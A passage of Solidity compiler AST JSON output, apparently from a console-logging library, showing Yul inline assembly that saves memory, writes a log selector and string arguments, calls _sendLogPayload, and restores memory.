17:22","nodeType":"YulAssignment","src":"359004:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"359016:4:22","nodeType":"YulLiteral","src":"359016:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"359010:5:22","nodeType":"YulIdentifier","src":"359010:5:22"},"nativeSrc":"359010:11:22","nodeType":"YulFunctionCall","src":"359010:11:22"},"variableNames":[{"name":"m6","nativeSrc":"359004:2:22","nodeType":"YulIdentifier","src":"359004:2:22"}]},{"nativeSrc":"359034:17:22","nodeType":"YulAssignment","src":"359034:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"359046:4:22","nodeType":"YulLiteral","src":"359046:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"359040:5:22","nodeType":"YulIdentifier","src":"359040:5:22"},"nativeSrc":"359040:11:22","nodeType":"YulFunctionCall","src":"359040:11:22"},"variableNames":[{"name":"m7","nativeSrc":"359034:2:22","nodeType":"YulIdentifier","src":"359034:2:22"}]},{"nativeSrc":"359064:18:22","nodeType":"YulAssignment","src":"359064:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"359076:5:22","nodeType":"YulLiteral","src":"359076:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"359070:5:22","nodeType":"YulIdentifier","src":"359070:5:22"},"nativeSrc":"359070:12:22","nodeType":"YulFunctionCall","src":"359070:12:22"},"variableNames":[{"name":"m8","nativeSrc":"359064:2:22","nodeType":"YulIdentifier","src":"359064:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359164:4:22","nodeType":"YulLiteral","src":"359164:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"359170:10:22","nodeType":"YulLiteral","src":"359170:10:22","type":"","value":"0xabf73a98"}],"functionName":{"name":"mstore","nativeSrc":"359157:6:22","nodeType":"YulIdentifier","src":"359157:6:22"},"nativeSrc":"359157:24:22","nodeType":"YulFunctionCall","src":"359157:24:22"},"nativeSrc":"359157:24:22","nodeType":"YulExpressionStatement","src":"359157:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359201:4:22","nodeType":"YulLiteral","src":"359201:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"359207:4:22","nodeType":"YulLiteral","src":"359207:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"359194:6:22","nodeType":"YulIdentifier","src":"359194:6:22"},"nativeSrc":"359194:18:22","nodeType":"YulFunctionCall","src":"359194:18:22"},"nativeSrc":"359194:18:22","nodeType":"YulExpressionStatement","src":"359194:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359232:4:22","nodeType":"YulLiteral","src":"359232:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"359238:2:22","nodeType":"YulIdentifier","src":"359238:2:22"}],"functionName":{"name":"mstore","nativeSrc":"359225:6:22","nodeType":"YulIdentifier","src":"359225:6:22"},"nativeSrc":"359225:16:22","nodeType":"YulFunctionCall","src":"359225:16:22"},"nativeSrc":"359225:16:22","nodeType":"YulExpressionStatement","src":"359225:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359261:4:22","nodeType":"YulLiteral","src":"359261:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"359267:2:22","nodeType":"YulIdentifier","src":"359267:2:22"}],"functionName":{"name":"mstore","nativeSrc":"359254:6:22","nodeType":"YulIdentifier","src":"359254:6:22"},"nativeSrc":"359254:16:22","nodeType":"YulFunctionCall","src":"359254:16:22"},"nativeSrc":"359254:16:22","nodeType":"YulExpressionStatement","src":"359254:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359290:4:22","nodeType":"YulLiteral","src":"359290:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"359296:4:22","nodeType":"YulLiteral","src":"359296:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"359283:6:22","nodeType":"YulIdentifier","src":"359283:6:22"},"nativeSrc":"359283:18:22","nodeType":"YulFunctionCall","src":"359283:18:22"},"nativeSrc":"359283:18:22","nodeType":"YulExpressionStatement","src":"359283:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359326:4:22","nodeType":"YulLiteral","src":"359326:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"359332:2:22","nodeType":"YulIdentifier","src":"359332:2:22"}],"functionName":{"name":"writeString","nativeSrc":"359314:11:22","nodeType":"YulIdentifier","src":"359314:11:22"},"nativeSrc":"359314:21:22","nodeType":"YulFunctionCall","src":"359314:21:22"},"nativeSrc":"359314:21:22","nodeType":"YulExpressionStatement","src":"359314:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359360:4:22","nodeType":"YulLiteral","src":"359360:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"359366:2:22","nodeType":"YulIdentifier","src":"359366:2:22"}],"functionName":{"name":"writeString","nativeSrc":"359348:11:22","nodeType":"YulIdentifier","src":"359348:11:22"},"nativeSrc":"359348:21:22","nodeType":"YulFunctionCall","src":"359348:21:22"},"nativeSrc":"359348:21:22","nodeType":"YulExpressionStatement","src":"359348:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45412,"isOffset":false,"isSlot":false,"src":"358824:2:22","valueSize":1},{"declaration":45415,"isOffset":false,"isSlot":false,"src":"358854:2:22","valueSize":1},{"declaration":45418,"isOffset":false,"isSlot":false,"src":"358884:2:22","valueSize":1},{"declaration":45421,"isOffset":false,"isSlot":false,"src":"358914:2:22","valueSize":1},{"declaration":45424,"isOffset":false,"isSlot":false,"src":"358944:2:22","valueSize":1},{"declaration":45427,"isOffset":false,"isSlot":false,"src":"358974:2:22","valueSize":1},{"declaration":45430,"isOffset":false,"isSlot":false,"src":"359004:2:22","valueSize":1},{"declaration":45433,"isOffset":false,"isSlot":false,"src":"359034:2:22","valueSize":1},{"declaration":45436,"isOffset":false,"isSlot":false,"src":"359064:2:22","valueSize":1},{"declaration":45402,"isOffset":false,"isSlot":false,"src":"359332:2:22","valueSize":1},{"declaration":45404,"isOffset":false,"isSlot":false,"src":"359238:2:22","valueSize":1},{"declaration":45406,"isOffset":false,"isSlot":false,"src":"359267:2:22","valueSize":1},{"declaration":45408,"isOffset":false,"isSlot":false,"src":"359366:2:22","valueSize":1}],"id":45438,"nodeType":"InlineAssembly","src":"358446:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45440,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"359404:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":45441,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"359410:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":45439,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"359388:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45442,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"359388:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45443,"nodeType":"ExpressionStatement","src":"359388:28:22"},{"AST":{"nativeSrc":"359435:273:22","nodeType":"YulBlock","src":"359435:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"359456:4:22","nodeType":"YulLiteral","src":"359456:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"359462:2:22","nodeType":"YulIdentifier","src":"359462:2:22"}],"functionName":{"name":"mstore","nativeSrc":"359449:6:22","nodeType":"YulIdentifier","src":"359449:6:22"},"nativeSrc":"359449:16:22","nodeType":"YulFunctionCall","src":"359449:16:22"},"nativeSrc":"359449:16:22","nodeType":"YulExpressionStatement","src":"359449:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359485:4:22","nodeType":"YulLiteral","src":"359485:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"359491:2:22","nodeType":"YulIdentifier","src":"359491:2:22"}],"functionName":{"name":"mstore","nativeSrc":"359478:6:22","nodeType":"YulIdentifier","src":"359478:6:22"},"nativeSrc":"359478:16:22","nodeType":"YulFunctionCall","src":"359478:16:22"},"nativeSrc":"359478:16:22","nodeType":"YulExpressionStatement","src":"359478:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359514:4:22","nodeType":"YulLiteral","src":"359514:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"359520:2:22","nodeType":"YulIdentifier","src":"359520:2:22"}],"functionName":{"name":"mstore","nativeSrc":"359507:6:22","nodeType":"YulIdentifier","src":"359507:6:22"},"nativeSrc":"359507:16:22","nodeType":"YulFunctionCall","src":"359507:16:22"},"nativeSrc":"359507:16:22","nodeType":"YulExpressionStatement","src":"359507:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359543:4:22","nodeType":"YulLiteral","src":"359543:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"359549:2:22","nodeType":"YulIdentifier","src":"359549:2:22"}],"functionName":{"name":"mstore","nativeSrc":"359536:6:22","nodeType":"YulIdentifier","src":"359536:6:22"},"nativeSrc":"359536:16:22","nodeType":"YulFunctionCall","src":"359536:16:22"},"nativeSrc":"359536:16:22","nodeType":"YulExpressionStatement","src":"359536:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359572:4:22","nodeType":"YulLiteral","src":"359572:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"359578:2:22","nodeType":"YulIdentifier","src":"359578:2:22"}],"functionName":{"name":"mstore","nativeSrc":"359565:6:22","nodeType":"YulIdentifier","src":"359565:6:22"},"nativeSrc":"359565:16:22","nodeType":"YulFunctionCall","src":"359565:16:22"},"nativeSrc":"359565:16:22","nodeType":"YulExpressionStatement","src":"359565:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359601:4:22","nodeType":"YulLiteral","src":"359601:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"359607:2:22","nodeType":"YulIdentifier","src":"359607:2:22"}],"functionName":{"name":"mstore","nativeSrc":"359594:6:22","nodeType":"YulIdentifier","src":"359594:6:22"},"nativeSrc":"359594:16:22","nodeType":"YulFunctionCall","src":"359594:16:22"},"nativeSrc":"359594:16:22","nodeType":"YulExpressionStatement","src":"359594:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359630:4:22","nodeType":"YulLiteral","src":"359630:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"359636:2:22","nodeType":"YulIdentifier","src":"359636:2:22"}],"functionName":{"name":"mstore","nativeSrc":"359623:6:22","nodeType":"YulIdentifier","src":"359623:6:22"},"nativeSrc":"359623:16:22","nodeType":"YulFunctionCall","src":"359623:16:22"},"nativeSrc":"359623:16:22","nodeType":"YulExpressionStatement","src":"359623:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359659:4:22","nodeType":"YulLiteral","src":"359659:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"359665:2:22","nodeType":"YulIdentifier","src":"359665:2:22"}],"functionName":{"name":"mstore","nativeSrc":"359652:6:22","nodeType":"YulIdentifier","src":"359652:6:22"},"nativeSrc":"359652:16:22","nodeType":"YulFunctionCall","src":"359652:16:22"},"nativeSrc":"359652:16:22","nodeType":"YulExpressionStatement","src":"359652:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"359688:5:22","nodeType":"YulLiteral","src":"359688:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"359695:2:22","nodeType":"YulIdentifier","src":"359695:2:22"}],"functionName":{"name":"mstore","nativeSrc":"359681:6:22","nodeType":"YulIdentifier","src":"359681:6:22"},"nativeSrc":"359681:17:22","nodeType":"YulFunctionCall","src":"359681:17:22"},"nativeSrc":"359681:17:22","nodeType":"YulExpressionStatement","src":"359681:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45412,"isOffset":false,"isSlot":false,"src":"359462:2:22","valueSize":1},{"declaration":45415,"isOffset":false,"isSlot":false,"src":"359491:2:22","valueSize":1},{"declaration":45418,"isOffset":false,"isSlot":false,"src":"359520:2:22","valueSize":1},{"declaration":45421,"isOffset":false,"isSlot":false,"src":"359549:2:22","valueSize":1},{"declaration":45424,"isOffset":false,"isSlot":false,"src":"359578:2:22","valueSize":1},{"declaration":45427,"isOffset":false,"isSlot":false,"src":"359607:2:22","valueSize":1},{"declaration":45430,"isOffset":false,"isSlot":false,"src":"359636:2:22","valueSize":1},{"declaration":45433,"isOffset":false,"isSlot":false,"src":"359665:2:22","valueSize":1},{"declaration":45436,"isOffset":false,"isSlot":false,"src":"359695:2:22","valueSize":1}],"id":45444,"nodeType":"InlineAssembly","src":"359426:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"358193:3:22","parameters":{"id":45409,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45402,"mutability":"mutable","name":"p0","nameLocation":"358205:2:22","nodeType":"VariableDeclaration","scope":45446,"src":"358197:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45401,"name":"bytes32","nodeType":"ElementaryTypeName","src":"358197:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45404,"mutability":"mutable","name":"p1","nameLocation":"358217:2:22","nodeType":"VariableDeclaration","scope":45446,"src":"358209:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45403,"name":"uint256","nodeType":"ElementaryTypeName","src":"358209:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45406,"mutability":"mutable","name":"p2","nameLocation":"358226:2:22","nodeType":"VariableDeclaration","scope":45446,"src":"358221:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45405,"name":"bool","nodeType":"ElementaryTypeName","src":"358221:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":45408,"mutability":"mutable","name":"p3","nameLocation":"358238:2:22","nodeType":"VariableDeclaration","scope":45446,"src":"358230:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45407,"name":"bytes32","nodeType":"ElementaryTypeName","src":"358230:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"358196:45:22"},"returnParameters":{"id":45410,"nodeType":"ParameterList","parameters":[],"src":"358256:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45486,"nodeType":"FunctionDefinition","src":"359720:1340:22","nodes":[],"body":{"id":45485,"nodeType":"Block","src":"359795:1265:22","nodes":[],"statements":[{"assignments":[45458],"declarations":[{"constant":false,"id":45458,"mutability":"mutable","name":"m0","nameLocation":"359813:2:22","nodeType":"VariableDeclaration","scope":45485,"src":"359805:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45457,"name":"bytes32","nodeType":"ElementaryTypeName","src":"359805:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45459,"nodeType":"VariableDeclarationStatement","src":"359805:10:22"},{"assignments":[45461],"declarations":[{"constant":false,"id":45461,"mutability":"mutable","name":"m1","nameLocation":"359833:2:22","nodeType":"VariableDeclaration","scope":45485,"src":"359825:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45460,"name":"bytes32","nodeType":"ElementaryTypeName","src":"359825:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45462,"nodeType":"VariableDeclarationStatement","src":"359825:10:22"},{"assignments":[45464],"declarations":[{"constant":false,"id":45464,"mutability":"mutable","name":"m2","nameLocation":"359853:2:22","nodeType":"VariableDeclaration","scope":45485,"src":"359845:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45463,"name":"bytes32","nodeType":"ElementaryTypeName","src":"359845:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45465,"nodeType":"VariableDeclarationStatement","src":"359845:10:22"},{"assignments":[45467],"declarations":[{"constant":false,"id":45467,"mutability":"mutable","name":"m3","nameLocation":"359873:2:22","nodeType":"VariableDeclaration","scope":45485,"src":"359865:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45466,"name":"bytes32","nodeType":"ElementaryTypeName","src":"359865:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45468,"nodeType":"VariableDeclarationStatement","src":"359865:10:22"},{"assignments":[45470],"declarations":[{"constant":false,"id":45470,"mutability":"mutable","name":"m4","nameLocation":"359893:2:22","nodeType":"VariableDeclaration","scope":45485,"src":"359885:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45469,"name":"bytes32","nodeType":"ElementaryTypeName","src":"359885:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45471,"nodeType":"VariableDeclarationStatement","src":"359885:10:22"},{"assignments":[45473],"declarations":[{"constant":false,"id":45473,"mutability":"mutable","name":"m5","nameLocation":"359913:2:22","nodeType":"VariableDeclaration","scope":45485,"src":"359905:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45472,"name":"bytes32","nodeType":"ElementaryTypeName","src":"359905:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45474,"nodeType":"VariableDeclarationStatement","src":"359905:10:22"},{"assignments":[45476],"declarations":[{"constant":false,"id":45476,"mutability":"mutable","name":"m6","nameLocation":"359933:2:22","nodeType":"VariableDeclaration","scope":45485,"src":"359925:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45475,"name":"bytes32","nodeType":"ElementaryTypeName","src":"359925:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45477,"nodeType":"VariableDeclarationStatement","src":"359925:10:22"},{"AST":{"nativeSrc":"359954:831:22","nodeType":"YulBlock","src":"359954:831:22","statements":[{"body":{"nativeSrc":"359997:313:22","nodeType":"YulBlock","src":"359997:313:22","statements":[{"nativeSrc":"360015:15:22","nodeType":"YulVariableDeclaration","src":"360015:15:22","value":{"kind":"number","nativeSrc":"360029:1:22","nodeType":"YulLiteral","src":"360029:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"360019:6:22","nodeType":"YulTypedName","src":"360019:6:22","type":""}]},{"body":{"nativeSrc":"360100:40:22","nodeType":"YulBlock","src":"360100:40:22","statements":[{"body":{"nativeSrc":"360129:9:22","nodeType":"YulBlock","src":"360129:9:22","statements":[{"nativeSrc":"360131:5:22","nodeType":"YulBreak","src":"360131:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"360117:6:22","nodeType":"YulIdentifier","src":"360117:6:22"},{"name":"w","nativeSrc":"360125:1:22","nodeType":"YulIdentifier","src":"360125:1:22"}],"functionName":{"name":"byte","nativeSrc":"360112:4:22","nodeType":"YulIdentifier","src":"360112:4:22"},"nativeSrc":"360112:15:22","nodeType":"YulFunctionCall","src":"360112:15:22"}],"functionName":{"name":"iszero","nativeSrc":"360105:6:22","nodeType":"YulIdentifier","src":"360105:6:22"},"nativeSrc":"360105:23:22","nodeType":"YulFunctionCall","src":"360105:23:22"},"nativeSrc":"360102:36:22","nodeType":"YulIf","src":"360102:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"360057:6:22","nodeType":"YulIdentifier","src":"360057:6:22"},{"kind":"number","nativeSrc":"360065:4:22","nodeType":"YulLiteral","src":"360065:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"360054:2:22","nodeType":"YulIdentifier","src":"360054:2:22"},"nativeSrc":"360054:16:22","nodeType":"YulFunctionCall","src":"360054:16:22"},"nativeSrc":"360047:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"360071:28:22","nodeType":"YulBlock","src":"360071:28:22","statements":[{"nativeSrc":"360073:24:22","nodeType":"YulAssignment","src":"360073:24:22","value":{"arguments":[{"name":"length","nativeSrc":"360087:6:22","nodeType":"YulIdentifier","src":"360087:6:22"},{"kind":"number","nativeSrc":"360095:1:22","nodeType":"YulLiteral","src":"360095:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"360083:3:22","nodeType":"YulIdentifier","src":"360083:3:22"},"nativeSrc":"360083:14:22","nodeType":"YulFunctionCall","src":"360083:14:22"},"variableNames":[{"name":"length","nativeSrc":"360073:6:22","nodeType":"YulIdentifier","src":"360073:6:22"}]}]},"pre":{"nativeSrc":"360051:2:22","nodeType":"YulBlock","src":"360051:2:22","statements":[]},"src":"360047:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"360164:3:22","nodeType":"YulIdentifier","src":"360164:3:22"},{"name":"length","nativeSrc":"360169:6:22","nodeType":"YulIdentifier","src":"360169:6:22"}],"functionName":{"name":"mstore","nativeSrc":"360157:6:22","nodeType":"YulIdentifier","src":"360157:6:22"},"nativeSrc":"360157:19:22","nodeType":"YulFunctionCall","src":"360157:19:22"},"nativeSrc":"360157:19:22","nodeType":"YulExpressionStatement","src":"360157:19:22"},{"nativeSrc":"360193:37:22","nodeType":"YulVariableDeclaration","src":"360193:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"360210:3:22","nodeType":"YulLiteral","src":"360210:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"360219:1:22","nodeType":"YulLiteral","src":"360219:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"360222:6:22","nodeType":"YulIdentifier","src":"360222:6:22"}],"functionName":{"name":"shl","nativeSrc":"360215:3:22","nodeType":"YulIdentifier","src":"360215:3:22"},"nativeSrc":"360215:14:22","nodeType":"YulFunctionCall","src":"360215:14:22"}],"functionName":{"name":"sub","nativeSrc":"360206:3:22","nodeType":"YulIdentifier","src":"360206:3:22"},"nativeSrc":"360206:24:22","nodeType":"YulFunctionCall","src":"360206:24:22"},"variables":[{"name":"shift","nativeSrc":"360197:5:22","nodeType":"YulTypedName","src":"360197:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"360258:3:22","nodeType":"YulIdentifier","src":"360258:3:22"},{"kind":"number","nativeSrc":"360263:4:22","nodeType":"YulLiteral","src":"360263:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"360254:3:22","nodeType":"YulIdentifier","src":"360254:3:22"},"nativeSrc":"360254:14:22","nodeType":"YulFunctionCall","src":"360254:14:22"},{"arguments":[{"name":"shift","nativeSrc":"360274:5:22","nodeType":"YulIdentifier","src":"360274:5:22"},{"arguments":[{"name":"shift","nativeSrc":"360285:5:22","nodeType":"YulIdentifier","src":"360285:5:22"},{"name":"w","nativeSrc":"360292:1:22","nodeType":"YulIdentifier","src":"360292:1:22"}],"functionName":{"name":"shr","nativeSrc":"360281:3:22","nodeType":"YulIdentifier","src":"360281:3:22"},"nativeSrc":"360281:13:22","nodeType":"YulFunctionCall","src":"360281:13:22"}],"functionName":{"name":"shl","nativeSrc":"360270:3:22","nodeType":"YulIdentifier","src":"360270:3:22"},"nativeSrc":"360270:25:22","nodeType":"YulFunctionCall","src":"360270:25:22"}],"functionName":{"name":"mstore","nativeSrc":"360247:6:22","nodeType":"YulIdentifier","src":"360247:6:22"},"nativeSrc":"360247:49:22","nodeType":"YulFunctionCall","src":"360247:49:22"},"nativeSrc":"360247:49:22","nodeType":"YulExpressionStatement","src":"360247:49:22"}]},"name":"writeString","nativeSrc":"359968:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"359989:3:22","nodeType":"YulTypedName","src":"359989:3:22","type":""},{"name":"w","nativeSrc":"359994:1:22","nodeType":"YulTypedName","src":"359994:1:22","type":""}],"src":"359968:342:22"},{"nativeSrc":"360323:17:22","nodeType":"YulAssignment","src":"360323:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"360335:4:22","nodeType":"YulLiteral","src":"360335:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"360329:5:22","nodeType":"YulIdentifier","src":"360329:5:22"},"nativeSrc":"360329:11:22","nodeType":"YulFunctionCall","src":"360329:11:22"},"variableNames":[{"name":"m0","nativeSrc":"360323:2:22","nodeType":"YulIdentifier","src":"360323:2:22"}]},{"nativeSrc":"360353:17:22","nodeType":"YulAssignment","src":"360353:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"360365:4:22","nodeType":"YulLiteral","src":"360365:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"360359:5:22","nodeType":"YulIdentifier","src":"360359:5:22"},"nativeSrc":"360359:11:22","nodeType":"YulFunctionCall","src":"360359:11:22"},"variableNames":[{"name":"m1","nativeSrc":"360353:2:22","nodeType":"YulIdentifier","src":"360353:2:22"}]},{"nativeSrc":"360383:17:22","nodeType":"YulAssignment","src":"360383:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"360395:4:22","nodeType":"YulLiteral","src":"360395:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"360389:5:22","nodeType":"YulIdentifier","src":"360389:5:22"},"nativeSrc":"360389:11:22","nodeType":"YulFunctionCall","src":"360389:11:22"},"variableNames":[{"name":"m2","nativeSrc":"360383:2:22","nodeType":"YulIdentifier","src":"360383:2:22"}]},{"nativeSrc":"360413:17:22","nodeType":"YulAssignment","src":"360413:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"360425:4:22","nodeType":"YulLiteral","src":"360425:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"360419:5:22","nodeType":"YulIdentifier","src":"360419:5:22"},"nativeSrc":"360419:11:22","nodeType":"YulFunctionCall","src":"360419:11:22"},"variableNames":[{"name":"m3","nativeSrc":"360413:2:22","nodeType":"YulIdentifier","src":"360413:2:22"}]},{"nativeSrc":"360443:17:22","nodeType":"YulAssignment","src":"360443:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"360455:4:22","nodeType":"YulLiteral","src":"360455:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"360449:5:22","nodeType":"YulIdentifier","src":"360449:5:22"},"nativeSrc":"360449:11:22","nodeType":"YulFunctionCall","src":"360449:11:22"},"variableNames":[{"name":"m4","nativeSrc":"360443:2:22","nodeType":"YulIdentifier","src":"360443:2:22"}]},{"nativeSrc":"360473:17:22","nodeType":"YulAssignment","src":"360473:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"360485:4:22","nodeType":"YulLiteral","src":"360485:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"360479:5:22","nodeType":"YulIdentifier","src":"360479:5:22"},"nativeSrc":"360479:11:22","nodeType":"YulFunctionCall","src":"360479:11:22"},"variableNames":[{"name":"m5","nativeSrc":"360473:2:22","nodeType":"YulIdentifier","src":"360473:2:22"}]},{"nativeSrc":"360503:17:22","nodeType":"YulAssignment","src":"360503:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"360515:4:22","nodeType":"YulLiteral","src":"360515:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"360509:5:22","nodeType":"YulIdentifier","src":"360509:5:22"},"nativeSrc":"360509:11:22","nodeType":"YulFunctionCall","src":"360509:11:22"},"variableNames":[{"name":"m6","nativeSrc":"360503:2:22","nodeType":"YulIdentifier","src":"360503:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"360606:4:22","nodeType":"YulLiteral","src":"360606:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"360612:10:22","nodeType":"YulLiteral","src":"360612:10:22","type":"","value":"0xe21de278"}],"functionName":{"name":"mstore","nativeSrc":"360599:6:22","nodeType":"YulIdentifier","src":"360599:6:22"},"nativeSrc":"360599:24:22","nodeType":"YulFunctionCall","src":"360599:24:22"},"nativeSrc":"360599:24:22","nodeType":"YulExpressionStatement","src":"360599:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"360643:4:22","nodeType":"YulLiteral","src":"360643:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"360649:4:22","nodeType":"YulLiteral","src":"360649:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"360636:6:22","nodeT